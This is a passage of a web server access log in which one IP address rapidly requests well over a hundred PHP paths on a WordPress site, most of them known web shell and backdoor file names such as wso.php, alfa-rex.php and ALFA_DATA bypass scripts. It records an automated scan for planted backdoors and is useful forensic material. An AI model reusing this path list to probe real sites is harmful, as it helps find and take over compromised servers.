x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:52 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:53 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:54 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:55 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:56 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /xoot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:49:57 +0300] "GET /wp-temp.php HTTP/1.1" 301 795 "-" 